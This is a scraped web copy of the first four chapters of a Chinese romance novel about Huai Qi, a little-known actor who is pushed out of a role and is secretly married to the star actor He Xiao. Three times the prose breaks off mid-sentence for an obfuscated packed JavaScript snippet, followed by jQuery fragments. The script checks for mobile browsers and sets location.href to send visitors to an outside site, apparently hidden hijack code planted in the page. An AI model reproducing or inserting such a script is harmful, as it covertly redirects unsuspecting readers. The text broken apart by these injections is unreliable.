《隐婚[娱乐圈]》
1. 第 1 章
晚上六点,怀栖准时被闹钟吵醒。
八月份,天气炎热,外面天色还没暗,房间外很安静。
按掉闹钟之后,怀栖才看见经纪人给他打了几个电话。
怀栖昨晚和今天上午一直都在剧组等戏,但主演有几段戏拍了好久才过,导演生气了,也没有管他们这些为了短短几分钟戏份在现场等了那么久的演员们,直接散场了。
补了一下午的觉,怀栖还惦记着剧组群里说今晚拍昨晚没拍上的部分,给自己订了闹钟。
但他睡觉之前忘记把手机的静音模式调回来了。
去洗了把冷水脸,怀栖给经纪人回了电话。
没等他解释,经纪人闻华率先开口:“睡醒了?我正好经过你那边,现在过来接你,你收拾下,别落下什么东西。”
怀栖头发还在滴水,他对着镜子拿纸巾擦着,表情茫然,“接我?晚上有什么活动吗?我晚上还有戏没拍完。”
“你……没接到通知?”闻华顿了顿,突然不知道该怎么开口了。
他是老牌经纪人,手下有好几个不温不火的艺人,怀栖是其中之一,在他手下待了两年多了,一直没什么名气,平时就演一些没太多镜头的小角色。
闻华其实一直觉得有点可惜。
怀栖长了张很漂亮的脸,当年给他们公司投简历的时候,好几个经纪人看见了都想要他,长着这样一张清冷漂亮的脸,再包装一下,就算是个花瓶都能火了。
但面试的时候,怀栖主动摊牌说自己没什么演技,还当场给他们表演了一段。
他也没说谎,演技确实……有点一言难尽。
但没演技也无所谓,娱乐圈那么多没演技却大红大紫的演员呢。
闻华很喜欢他,但也知道自己这样的小经纪人是抢不过那些人的。
直到怀栖又说,自己已经结婚了,并且希望经纪人不要太管着自己,想要拥有自己挑选剧本的权利。
这听起来不像是来面试的,倒像是来当大爷的。
其他几个经纪人当场翻脸走人。
还没闯出什么名气呢就开始要求这个要求那个。
只有闻华留下了。
闻华一开始以为怀栖可能脾气很差,但签下怀栖之后发现他从来不惹事,说自己已婚,但从来没见过他和谁有亲密接触,除了在选剧本上有自己的坚持,还有也不喜欢参加综艺之外,一直很听话。
是闻华那么多艺人中最省心的一个。
虽然省心,闻华还是非常关心他。
闻华不死心,他觉得怀栖这样一张脸,肯定能火。
娱乐圈还是看脸的,不然就凭怀栖这个演技,怎么可能面试哪个角色就能被选上?
但……娱乐圈更看背景。
闻华调整了一下情绪,安抚性地说:“你那个角色被别人看上了,没事,就是个小角色而已,丢了就丢了,我马上就到酒店楼下了,你想想晚上要吃什么,哥请你吃。”
闻华也是今天早上才从别的经纪人口中得知这件事,他还以为怀栖已经得到了剧组的通知。
怕怀栖去片场碰见对方,他才急着亲自过来接人。
怀栖这部戏已经拍了一个多月,怀栖也进组一个多月了。
他的戏份不多,通常两三天才会拍几分钟,本来昨晚那场戏是怀栖准备了很久也是最喜欢的一场戏。
结果突然被告知被别人看上了……怀栖明白这是什么意思。
这种情况在娱乐圈并不少见,但怀栖的角色又不是什么重要角色,资本就算是想捧人,也会给个容易出圈的好角色才对,犯不着半路把他换掉,那还得赔付违约金。
而且剧组确实没通知他。
怀栖翻了翻手机,没找到任何一条关于自己被换的通知,也知道闻华不会骗自己,盯着镜子里自己那张脸看了一会儿,怀栖扔掉湿掉的纸巾,淡淡地问:“我可以知道是谁抢了我的角色吗?”
他听起来也没有很难过。
闻华怕他压抑着情绪,他知道怀栖为了这个角色准备了不少,虽然演技差,但对待演戏这方面,怀栖一直很认真。
“是我们公司的,叫卢乐。”闻华生怕被人听见似的,压着声音,“你也别跟他起冲突,他最近走了点运。”
怀栖对这个名字有点印象,但记不起来对方长什么样。
他垂着眼睑哦了声,没再继续这个话题。
挂断电话后,怀栖继续看着镜子。
镜子里照出一张漂亮的脸,双眼皮,眼尾微微上挑,略带勾人意味,眼神却没透露出太多情绪,薄唇,唇色因为沾了水而变得红润,皮肤很白,凑得很近也看不出一点瑕疵。
半晌,镜子里的人轻轻叹了声气。
怎么会有人抢他的角色呢?他都选了这种没太多镜头的小角色了。
怀栖的东西不多,夏天的衣服连行李箱都塞不满,住的地方条件不好,怀栖也没有太留恋。
他没什么名气,不用太担心会被人认出来,只戴了帽子口罩就出来了。
闻华的车就停在酒店外面的露天停车场,见到他,连忙帮他拿行李,又检查了一下他这段时间有没有瘦。
“我搜了下附近有家评价不错的烧烤店,要不要去试试?”一般的艺人都需要维持身材,不能吃这些垃圾食品,但怀栖工作都被人抢了,稍微放纵一下也没关系。
怀栖正低头看手机,听见闻华的话,纠结了一会儿选择放弃烧烤,摇头,给了闻华一个饭店名字,“闻哥,去这里可以吗?”
闻华在车载地图上搜了下:“……”
闻华:“你确定吗?虽然是我请客,但也……也不能这么宰我吧,算了我刚发工资,就你那个饭量我也请得起。”
这家饭店价格昂贵,闻华有点肉疼。
怀栖没打算让他请客,但想起闻华打电话时候关切的语气,想了想还是笑着说:“谢谢闻哥。”
到时候把钱加进闻华的奖金里还给他就可以。
怀栖那张脸看着虽然冷,平时还是很爱笑的,他笑起来的时候眼睛会跟着弯起来,少了一些距离感,变得很灵动,也更漂亮。
闻华被他的笑晃了下眼,战术性咳了声,又跟他聊起卢乐。
卢乐是他们公司不温不火的艺人之一,前几个月,卢乐参加了一档真人秀,回来之后资源就变得好了起来。
“听说他还拿到了贺崤新电影里的一个角色。”
“……贺崤?”怀栖一直安静听着,一直到提起贺崤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051703|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的名字,他才有了点反应。
提起这个闻华就很生气,“是啊贺崤,就那个贺崤,贺崤最近不是传出有部新电影在筹备了吗,也不知道卢乐背后是谁,居然能给他在贺崤的电影里整了个角色。”
闻华口中的贺崤是当之无愧的影帝。
虽然如今也才三十三岁的年纪,贺崤已经有了很多电影作品,国内国外的奖都拿过了。
能参演他主演的电影的演员,必须得有实力才行。
闻华觉得卢乐背后的人肯定背景不一般。
这种找靠山的事情在娱乐圈非常常见,他们公司也有不少经纪人喜欢把艺人送上资本的床,但闻华一直不喜欢这种手段。
但不得不承认,这种方式比一步一个脚印来得快多了。
闻华说着说着嘀咕,“这段时间贺崤一直在国外参加活动,卢乐背后那个人确实挺有本事,这都能把人搞进去。”
听出闻华语气的烦躁,怀栖四处看了看,最后把闻华放在副驾驶前面的一袋糖拿过来,从里面找了颗黄色包装菠萝味的给闻华递过去,笑眯眯地歪了歪脑袋:“闻哥,别生气了。”
他还记得自己喜欢吃菠萝。
闻华一阵感动,正准备说点什么,就听怀栖小声嘟囔:“不过贺崤好像已经回国了。”
“是吗?网上有消息了?”他在楼下等怀栖的时候才看过娱乐新闻,没发现贺崤的消息。
怀栖想了想摇头,把手机倒扣在腿上,“没有,我瞎说的啦。”
饭店是预约制,看来怀栖是真的很想吃这家店了,他们到的时候闻华才知道怀栖已经订了座位,是比较隐秘的角落。
点菜的时候怀栖选了两个不算很贵的菜,吃得也很干净。
这两个菜价格对闻华来说已经是半个月工资了,怀栖一点也不舍得浪费。
吃到一半还笑着对闻华说很好吃,说谢谢。
闻华瞬间一点都不觉得肉疼了。
吃完之后,闻华接了个电话,是他手下的一个艺人到公司找他,他手下几个艺人,除了怀栖,其他人都有助理,如非工作必要,闻华都不会做这种亲自接人还有请客吃饭的事情。
挂断电话,闻华看了眼时间,“我先送你回宿舍,我有事要回公司。”
“我可以自己打车回去的闻哥,反正也没人会认出我。”怀栖说着戴上帽子口罩,只剩一双漂亮的眼睛露在外面,直勾勾看着闻华。
闻华被看得一阵心悸,心道幸亏自己不喜欢男的,他咳了声,也没强求,“行,那我先走了,行李我晚点帮你送过去。”
怀栖点点头。
等闻华付款后离开,怀栖看了看周围,招来了服务生,让服务生领着自己去楼上的房间。
进电梯的时候,服务生看了他好几次。
楼上住的都是些非富即贵的客人,这位客人很明显是第一次来,点餐的时候坐在他对面的男人略显局促,但这位……长得很出众,很像明星,也有些眼熟,但实在想不起来在哪里见过。
怀栖没在意服务生的眼神,进了电梯之后,他就又低头看向手机,调出聊天软件,给备注名为“贺崤”的联系人发了条消息:我现在上来。
没一会儿,贺崤回复:房间门没关。
2. 第 2 章
服务生只负责送到电梯口,下了电梯之后,怀栖就自己去找房间。
这一层住的人不多,走廊上也没遇到别人,怀栖松了口气,感觉自己明明一点也不红,却体验了一次害怕被狗仔追拍的心情。
刚刚在楼下他就一直在确认附近有没有狗仔之类的,自然也没有狗仔闲到来拍他这个没什么名气的小演员。
贺崤的房间门确实没锁,怀栖进去之后立马就把门锁上了,但没在里面看见贺崤的身影,只听见了浴室传来的水声。
他朝浴室看了眼,磨砂的浴室门,能隐隐看见里面人的身形。
立马收回视线,怀栖没什么目标地在房间里乱转。
贺崤刚从国外回来,才入住这里,房间里很多东西都没被动过,只有沙发上扔了件T恤,茶几上放了台笔记本电脑。
电脑屏幕还亮着,上面显示出来的是剧本内容。
怀栖看了眼文档名,应该就是闻华口中贺崤新电影的剧本。
他没细看,浴室的水声就停了,怀栖下意识朝着浴室门口看过去,就见贺崤只在下半身裹了条浴巾走了出来,身上还在滴着水,露出精壮的肌肉,上面还覆盖着一些大大小小的伤,都是拍戏留下的。
贺崤长着一张非常有辨识度的脸,五官英俊,轮廓分明,眉眼深邃,正是闻华口中那个“影帝贺崤”。
看见坐在沙发上正在看自己电脑的怀栖,贺崤一点也不意外地挑了下眉,正要朝着怀栖走过去,怀栖在身后摸了摸,把那件贺崤脱下来的T恤给他扔了过去,耳根有点红地指责他:“你为什么不穿好衣服再出来?”
“你也没跟我说你这么快就到了。”衣服被扔在了地上,贺崤顺手捡起来扔进浴室里的脏衣篓,又从床边打开的行李箱里找了件T恤套上,扫了眼没正眼看自己的怀栖:“又不是没看过,都老夫老夫了还害羞?”
怀栖:“……”
什么没看过……
虽然他和贺崤结婚已经两年多,但这两年多里,贺崤工作繁忙,两人见面的次数一只手都数得过来。
他哪里看过了。
怀栖张了张嘴,义正言辞地反驳:“没有看过。”
“是吗?那你现在看过了,还要再看看吗?”贺崤一点都不觉得有什么问题,说话的时候还含笑。
很明显就是故意的。
“不看。”怀栖懒得再理他,见他走过来,主动往旁边的位置挪了挪,“你回来的事情跟爷爷讲了吗?爷爷前几天还打电话问我你什么时候回家。”
怀栖口中的爷爷是贺崤的亲爷爷,两人结婚之后,怀栖跟贺崤爷爷的关系就亲密了起来,至少比跟贺崤亲密多了,偶尔会打电话。
贺崤在怀栖身边坐下,随意地靠到沙发背上,一手拿着手机翻消息,“还没来得及讲,一下飞机就赶过来见你了。”
贺崤坐得离得有点近,怀栖闻到了他身上沐浴露的味道,瞥了他一眼,也没往边上躲,光哦了声。
“哦是什么意思?怎么听起来你好像不太信任我?”
也不知道贺崤是什么狗耳朵。
怀栖确实不太信任他。
一下飞机就赶回来见自己这种事,怎么也不可能。
怀栖眼皮动了动,起身在房间的小冰箱里拿了瓶水,喝了两口,才又回到沙发上,这回坐得离贺崤远了点,他也没看贺崤,目光又落在了桌上的笔记本电脑上,慢吞吞说:“就是哦的意思,你难道没有去过别的地方吗?还有你怎么知道我在这里?”
他跟贺崤虽然结了婚,但是是家族联姻,两人没有一点感情基础,甚至结婚前几天才第一次见面,更别提结婚后聚少离多,根本没有机会培养感情,也从来不会向对方报备行程。
按照道理,贺崤根本不可能知道他在这边拍戏。
不过这地方离机场也算不上近,但贺崤也不可能为了见自己特意跑来开间房。
怀栖莫名想起了闻华说的卢乐。
他用余光瞥了贺崤两眼,见贺崤没看自己,一副压根不在意这话的样子,又收回了余光。
反正贺崤也经常性满嘴跑火车,他没必要这么在意贺崤的话。
但如果真的跟卢乐有关的话,怀栖心里还是免不了不舒服。
“我在网上看到了你的行程。”贺崤说着把自己手机递了过去。
怀栖看了眼。
手机界面上是他的超话置顶公告,公告上写了他最近在拍这部剧。
拍摄地址直接上网一搜就找到了。
见他看了,贺崤笑了声,往怀栖身侧坐了点,一手搭在沙发背上侧身低头问:“这下信了吧?”
怀栖的超话粉丝很少,还不如贺崤粉丝的零头多,贺崤把手机收回去的时候,怀栖瞥见点赞那儿一个红色大拇指。
估计贺崤用的小号。
有什么信不信的。
怀栖眼皮动了动,“你看我行程干什么?”
“万一有什么紧急的事情要找你呢?”贺崤一副不怎么在意的样子。
他们那么久都联系不上一次。
难不成今天有什么紧急的事情?
怀栖眉头皱了下,抬起头看向贺崤,“是家里有什么事情要回去吗?”
除此以外也没什么事情更紧急了。
怀栖虽然演技不行,但那双眼睛着实漂亮,尤其是看着人的时候。
注意到贺崤在看自己的眼睛,他下意识摸了摸眼皮,放手的时候见贺崤半勾了下唇角,轻飘飘地说:“今天没有啊,就是好久没见,想着跟你见一面,免得老爷子又骂我天天不着家。”
怀栖:“……”
“没别的事我就回家了,我不想被拍。”用这样的理由给他发了条“速来”的消息,怀栖没什么耐心跟他继续耗下去。
“这么急?就这么不想见我?”贺崤又笑了声,有点吊儿郎当的,一点都不像三十多岁的成熟男性。
怀栖更笃定自己当初看走了眼。
当初怀栖父亲让怀栖在众多世家子弟里选一个人联姻,怀栖知道失去婚姻自由是自己含着金钥匙出生必然要付出的代价,他对找个相爱的人结婚的欲望也没有那么大,十分顺从地在一众人中选出了贺崤。
因为贺崤是那么多人中最帅的,照片上的贺崤看起来成熟稳重内敛,是怀栖喜欢的长相。
怀栖也看过他演的电影,也知道他演技非常好,这对很喜欢演戏的怀栖来说也是加分项。
然而事实上,贺崤的性格和怀栖想象中的简直天差地别。
怀栖起身的时候瞥了贺崤一眼,一点也不给面子,“不想,记得给我报销打车
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051704|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
费。”
贺崤也没阻拦他,仿佛是真的为了“见他一面”而已。
怀栖低头看了眼到账的十万块钱转账,轻轻哼了声,把自己裹得严严实实,出了饭店。
回到家,怀栖又收到了贺崤的消息。
贺崤发了条语音,问他:“想演电影?”
怀栖感到莫名其妙,就回了一个字:不。
他连电视剧都演不好,演什么电影,那不是祸害电影吗?
但贺崤问起这个,怀栖突然想起,他刚问贺崤有没有去过别的地方,贺崤没回答。
窝在沙发上眯了眯眼,想了一会儿,怀栖还是切出了两人的聊天界面。
没什么好问的,问多了反而显得他像是在查岗一样。
他跟贺崤还没到这样的地步。
至于贺崤的电影,想要塞谁进去,那是贺崤自己的事情,跟他也没有任何关系。
切出来之后,怀栖才发现在他回来的时间里,剧组群里消息刷了不少。
是卢乐进了群。
而原本群里的工作人员,包括几位重要演员,都在欢迎对方。
卢乐的备注已经改成了涂乐,正是怀栖演的那个角色的名字。
怀栖往下翻了翻消息,依旧没收到任何剧组的通知,见群里这么热闹,连导演也在和卢乐说话,怀栖立马艾特导演,问:[导演,为什么没有人通知我我被换了这件事?]
大概没料到他会直接在群里问,群里安静了好一会儿,才有人出来回复他。
正好是卢乐。
卢乐-涂乐:[不好意思啊,临时通知你这件事,抱歉抱歉,我时间比较紧,今天就进组了,本来想当面给你道歉的,但没在剧组找到你]
怀栖眯了眯眼。
他又不是看不懂卢乐什么意思。
他冷着脸,慢慢打字:[我在问导演]
卢乐-涂乐:[导演有点忙,我正好有空,违约金很快会打给你的,你别急,这是剧组群,有事还是私下聊吧]
怀栖又不在意那点违约金。
那点钱还不够他买一块喜欢的手表。
怀栖还想继续回他,就跳出来一条他被移除群的系统提示。
本来怀栖也不是很在意这件事,角色没了就没了,他拍了这一个多月,也学到了一些东西,他只是想要个剧组正面的通知而已。
而不是由卢乐这个抢了自己角色的人出来明里暗里指责他。
他跟卢乐虽然属于一个公司,但在此之前,两人连面都没碰过。
怀栖眯了眯眼,没再把卢乐放在心上。
他没加导演微信,只有副导演的,给副导演发消息,却发现自己也被删好友了。
自始至终没有任何剧组的人正式通知他这件事。
片刻,怀栖找到通讯录里的一个号码,打了过去。
酒店房间,贺崤靠在沙发上闭目养神,他一下飞机就坐车过来这里,一直没好好休息过。
一旁的助理正在跟他讲话。
“剧还在拍,但听说怀栖少爷的角色被换掉了。”
闻言,贺崤睁开眼。
难怪怀栖今天来得这么快,按照平时的情况,怀栖就算愿意见他,他也得等好久才对。
看来怀栖的坏心情不是针对他?
3. 第 3 章
见贺崤一直没说话,助理忍不住问:“贺哥,要帮怀栖少爷把角色拿回来吗?”
“他想要他自己会拿回来。”贺崤垂眸,在仅得到一个字回复的消息上看了几秒,又问:“谁抢的?”
助理:“……”
助理:“是怀栖少爷公司的一个明星,叫卢乐。”
“没听过。”贺崤仿佛只是随口一问,片刻后又起身,把茶几上的东西全都扫进行李箱。
见状,助理连忙问:“贺哥你要去哪儿?”
贺崤帽子墨镜都戴上了,动作迅速,把口罩盖在脸上,他轻轻啊了声,“回家啊,还能去哪儿,酒店再怎么贵都没我那温暖的家住着舒服。”
助理:“……?”
他可记得贺崤一年到头回家住的次数一只手都能数得过来,为此,贺家老爷子没少打电话埋汰他。
没结婚的时候,贺崤自由得很,老爷子每次打电话催他回家,他就一直用孤家寡人一个回家窝里冷冰冰的有什么好回的来搪塞,后来结了婚,老爷子再催,贺崤的说辞就变成了离家太远不方便,没时间休息这类。
路途确实比较远。
助理开车到别墅区的时候,贺崤已经补过一觉,时间也已经是半夜,别墅区一片漆黑。
没让助理跟着,贺崤独自回了家,进了大门之后,手脚就放轻了不少,连行李箱也直接放在了玄关处没带进去。
怀栖睡眠浅,以前还很认床,后来当了演员跟组多了,再怎么认床都得睡觉。
但一回了家,睡眠还是会变得很浅。
哪怕此刻的脚步声很轻,怀栖还是从睡梦中被吵醒。
屋里没开灯,他回来的时候都已经是十二点了,公司宿舍那儿住得又实在不舒服,再加上心情不好,更不想待在那里。
实在是太困太累,他进了门脱了鞋就躺在了沙发上。
迷迷糊糊不知道什么时候睡着的,也不知道现在几点。
黑暗里有个人影似乎在朝自己靠近,还没完全清醒,身体的自我保护机制就让怀栖下意识抓住了手边最硬的东西。
后背紧紧贴着沙发,手机也直接朝着对方的脸砸了过去。
“嘭”的一声,手腕同时被抓住。
手机应该没砸中,怀栖下意识挣扎起来,直接踹了对方一脚。
贺崤闷哼了声,“嘶,下脚怎么这么狠?再往上踢点你就得守活寡了。”
怀栖:“……”
听见熟悉的声音,怀栖停止了挣扎,手还被贺崤抓着,脚已经心虚地缩了回来,他低头瞥了眼贺崤被自己踹的地方,没那么理直气壮地指责贺崤:“谁让你不出声。”
“我这不是怕吵醒你吗?”贺崤的声音听起来没什么问题,还中气十足,甚至带着点笑意,“哪知道你恩将仇报。”
哪来的恩将仇报?
怀栖抿了抿唇,逐渐坐直了,没再跟贺崤乱扯,直接转移了话题:“你怎么回来了?”
“出去这么久,总不能有家不回天天住酒店。”见怀栖态度软和下来,明显是清醒了,贺崤松了手,在他身边坐下,笑眯眯地问:“我还没问你怎么睡沙发上,难不成知道我要回家特意在这等我?”
黑暗里怀栖也看不见他什么表情,但光听他那个带笑的语气就烦,感觉到他就坐在自己身边,怀栖干脆利落地往旁边挪了点位置,贴在沙发角落,“你脸皮怎么那么厚。”
刚刚被贺崤抓着的手腕还有热度,怀栖莫名觉得不自在。
之前他跟贺崤都没有过在一天之内见两次的经历,更别提这样的肢体接触。
贺崤居然还笑了声,“是吗?除了脸皮,我还有别的地方也挺厚,我还没问你怎么回家了,不是应该还在拍戏吗?”
怀栖在的剧组离家远,贺崤提出这个问题也无可厚非,但不知道是因为被吵醒还是因为别的,听他提起这件事,怀栖心里更加不舒坦,连带着看贺崤也不顺眼起来,在黑暗里瞪了贺崤两眼,他才没什么好气地说:“角色换人了。”
他也不知道贺崤到底知不知情,这也没什么好瞒着贺崤。
再说贺崤都能把卢乐放进他自己的电影了,不管知不知情,也没什么差别。
不过以往,贺崤基本不会回来这边住。
这里的别墅是他们结婚后贺崤父母送的新婚礼物,地段很好,比怀栖以前住的那个别墅好,而且为了表示心意,屋里所有的家具都是按照怀栖的喜好来添置的,不论是天花板上的灯还是脚下踩的毛绒地毯,全都是怀栖亲自挑选,由贺崤出钱购买的。
怀栖对这里很满意,刚结婚的时候,基本天天住在这里。
进了公司之后,闻华见他总是独来独往,出行也没有自己的代步工具,担心他没地方住,特意替他向公司申请了宿舍。
公司宿舍条件算不上好,毕竟只是给他们过渡用的,很小的单身公寓,设施都很老旧了,怀栖从小到大没住过这样的地方,但又觉得不住浪费闻华的心意,才搬了一点东西进去,偶尔工作结束后会住在那里。
但总归比不上家里舒服。
尤其是在心情不好的时候,他只想待在最舒服的地方。
哪知道今天贺崤会突然回家。
怀栖闷头不再说话,其实很想直接起身走人,但又想起如果回了房间,贺崤是不是也会跟着自己一块儿回房间,他就又不想回去了。
他来之前还特意让家里的阿姨给换了新的四件套,是怀栖专门找喜欢的设计师定制的,不想让第二个人躺上去。
那张床虽然是给他俩准备的婚床,但从来没睡过两个人。
以前贺崤就算回家,两人也碰不上面。
隔了好一会儿,黑暗的屋子里亮起手机灯光,贺崤不知道坐在那和谁发消息,没多久,贺崤又突然出声问:“需要我帮忙吗?”
“什么?”怀栖没反应过来。
贺崤轻轻啊了声,“角色,你要是想要……叫我一声哥,我就帮你拿回来。”
对贺崤来说,这种事轻轻松松。
毕竟他可是摆在明面上的大影帝,还是明面上的贺家小公子。
就算没有他自己闯出来的那翻成就,娱乐圈里没有人见了他能不给几分薄面的。
贺家一共两个儿子,大儿子贺谦如今
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051705|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三十五岁,早就成家立业生子,不然也不能放任贺崤性取向为男还在娱乐圈胡乱闯荡。
而怀栖上面还有个主张不婚不育的姐姐,早在被告知要联姻的时候就向家里摊牌了性取向,怀栖父母也从来不过分苛责儿女,不强行要求他们传宗接代,对此接受非常良好,并迅速将一众门当户对的女性换成了男性。
不过和贺崤更不同的是,怀栖父母一直将怀栖保护得很好,就算外界知道他家有个儿子,也没人在公开场合见过怀栖,再加上怀栖随母姓,又自小就不太喜欢参加那些虚假的宴会,也很少跟着父母出门应酬,因此就算进了娱乐圈,身份也藏得很好。
也多亏了这个,怀栖才能在娱乐圈过得这么自在。
听见贺崤的话,怀栖想都没想就怼他:“贺崤你喝醉了?”
不然怎么能说出这种胡话?
他想要做什么,还不需要贺崤出手帮忙。
倒是贺崤自己……
怀栖压了压眉眼,趁着贺崤还没出声,声音冷淡:“有这个时间,还不如好好做你自己的电影,别到时候口碑都被人砸了。”
说完他就跑上楼,不愿意再跟贺崤呼吸同一片空气。
怀栖脾气也算不上大,但今天面对贺崤确实是有点大了。
他自己反思了一下,大概是因为卢乐。
不是因为卢乐这个人,而是因为和卢乐相关的这两件事。
没有人能在自己角色被抢了之后,还得知这人还靠关系进了自己老公的剧组还能心平气和。
尤其是贺崤这人总说把演技看得十分重要,那卢乐又是怎么回事?
回来的路上怀栖还特意找了卢乐的剧来看,他对自己的演技认知清晰,但这个卢乐的演技,明明和他就是半斤八两。
楼下,贺崤被骂得皱了皱眉,片刻,又笑了下。
怀大少爷就算是骂人都没什么威慑力。
凶也凶不起来。
不过他到底哪里得罪怀栖了?
贺崤回想了一下自己的所作所为,难不成就是让怀栖喊自己一声哥?
之前也没少见怀栖喊他大哥叫贺谦哥,怎么到了他这儿,还得挨一顿骂?
思考片刻,贺崤给自己助理打了个电话,询问了一下关于新电影的事情。
他最近一直在国外,电影在国内筹备,全权交给了工作室负责,除了剧本,他还没参与其他的事情。
听怀栖这话,看起来好像知道什么内幕。
打完电话没一会儿,贺崤就靠在沙发上闭目休息,但没睡着。
没多久,他听见一阵很轻的脚步声。
慢吞吞挪到他面前,又在茶几上放了不知道什么东西,下手没轻没重,像是故意发出砰的一声,想把他吵醒。
贺崤憋着笑没睁眼,没一会儿,脚步声就离开了。
等听不见声音,贺崤才睁开眼,朝楼梯的方向看了眼。
那里空无一人。
茶几上倒是多出个医药箱。
贺崤挑了挑眉,伸手摸了摸被怀栖踹到的大腿。
疼倒是算不上多疼,就是感觉挺强烈。
4. 第 4 章
第二天怀栖醒来的时候楼下已经没有人了,空气里还留着药酒的味道,也不知道贺崤是有多脆弱,被他踹一脚就要用这么多药酒。
昨晚被他拿来砸贼的手机被好好放在了茶几上,旁边还摆着一台最新款手机。
旧手机已经开不了机,怀栖也不客气,直接拆了卡装进新手机,传完数据,手机里跳出来不少新消息。
最多的是闻华的。
闻华带着手下另一个艺人飞外地录综艺去了,担心怀栖丢了工作心情不好,特意发消息过来叮嘱他这段时间先好好休息,新剧本他会给他物色。
说是物色,其实很难找适合怀栖的剧本。
怀栖演技不行,如果背后有人捧有资本,这样一张脸演主演也完全没什么问题,娱乐圈花瓶美人多的是,但他又没资本,全靠自己努力,只能演那种一整部剧下来没什么戏份的小角色,还得是不太影响全剧整体感官的。
窝在沙发上尝了口自己做的咖啡,又往里加了两块糖,怀栖慢吞吞打字回复闻华:[谢谢闻哥。]
闻华说是忙,消息倒是回得很快,立马给他发了语音过来,“休息得怎么样?我估计得过几天才能回来,今天想吃点什么,哥给你点外卖。”
怀栖入圈这么久,还是第一回遇到这种事,挺多艺人心思脆弱敏感,怀栖平时看着不声不响,长得那么好看又细皮嫩肉,虽然为了演戏挺能吃苦,但闻华总觉得他跟玻璃似的,就怕他遇到这种事心里想不开。
要不是条件不允许,他甚至想把怀栖也拴着带出去参加综艺。
“谢谢闻哥,我想吃昨天那家店。”怀栖带着笑意:“昨天好几个菜没有试,我看他们家也可以叫外送,外送费的话……”
闻华:“……”听出他在开玩笑,听起来心情不错,闻华松了口气,刚咳了声,就听见怀栖问:“闻哥,剧组有工作人员联系过你吗?”
闻华刚松掉的气又瞬间提了上来,他就知道怀栖年纪小,肯定咽不下这口气!
闻华斟酌了下语言,“他们应该是直接跟公司对接的,你也知道,合同在公司那儿……”
“那一般这种情况不会通知到演员本人吗?”怀栖垂着眼,把咖啡放回了茶几上。
还是太苦了,他明明记得自己进组之前往家里买了速溶奶茶,怎么现在死活找不到了?
他没经历过这种事,问问也无可厚非。
闻华卡了下壳,还是苦哈哈地说:“一般都会提前通知本人的,他们没跟你讲可能是忘了。”
事实上剧组有专门负责这种事的工作人员,连解约合同都送到公司了,怎么可能会忘了,只可能是被人授意。
至于授意的人,除了卢乐估计也没别人了。
但闻华想了想,怀栖跟卢乐基本没见过面,也没有过任何竞争关系,卢乐不应该这么针对怀栖才对。
他也没敢把这话告诉怀栖,怕怀栖心里更不舒坦,要是跟卢乐起了什么冲突,怀栖那细胳膊哪里拧得过卢乐现在那粗壮的大腿,根本讨不着好处。
好在怀栖似乎信了他的话,哦了声,“我知道了,谢谢闻哥。”
多乖一小孩,闻华偷偷叹了声气,“你也别太放在心上,我已经在帮你找剧本了,对了,你昨天不是说贺崤回国了?还真被你说对了,他还真回国了,都被人拍到进出别墅区了,也不知道那地方是他家还是哪儿,我看网上都说是头一回见他进出那里。”
怀栖:“?”
怀栖猛地坐直了,也顾不上继续问剧组的事,匆匆和闻华说了句有事,就挂了电话。
跟闻华说的一样,贺崤的大名这会儿正被挂在热搜上。
贺崤名气大,平时还算低调,出国那么久没传回来什么消息,连回国都没通知粉丝,这次被拍到出现在别墅区,自然热度高得很。
不过照片非常模糊,看得出来是晚上拍的,所谓的出入别墅区也就是拍到他的车在别墅区大门经过。
这地方很大,住户算不上多,但光看这张照片,还真看不出来贺崤到底是住在这里还是只是经过。
盯着照片看了一会儿,怀栖开始低头戳手机屏幕。
消息发出去后没立马得到回复。
倒是别人的消息跳了出来:[靠,栖崽,我在网上刷到你角色被换了,怎么回事??贺崤死了吗也不管管?]
发消息的人叫庄望,是和怀栖一起长大的好朋友,也是少有的知道怀栖和贺崤结了婚的人之一。
怀栖:[网上?]
怀栖选择性忽略了关于贺崤的话题。
他目前暂时还不想提起这个人。
庄望立马发过来几个链接。
清一色都是营销号发的,关于怀栖他们剧组原本由怀栖饰演的角色,演员换成了卢乐这件事,内容大同小异,但可能因为两人都太糊,根本没什么热度,底下评论绝大多数都是在安利卢乐,发了一堆卢乐的高P照片。
看起来像是卢乐那边买的通稿。
怀栖点开看了两眼,又立马关掉。
结果那头庄望又截了几张卢乐的照片过来,[你那个角色毁容了?毁容后又重新整容了?不能再用你那张完美无缺的脸了所以要换人?]
卢乐长得算不上难看,但娱乐圈俊男美女那么多,就算是高P照片下,卢乐这张脸也不太够看。
尤其是跟怀栖比起来。
明眼人看一眼就知道该选谁,除了角色需求突然变丑,没别的解释了。
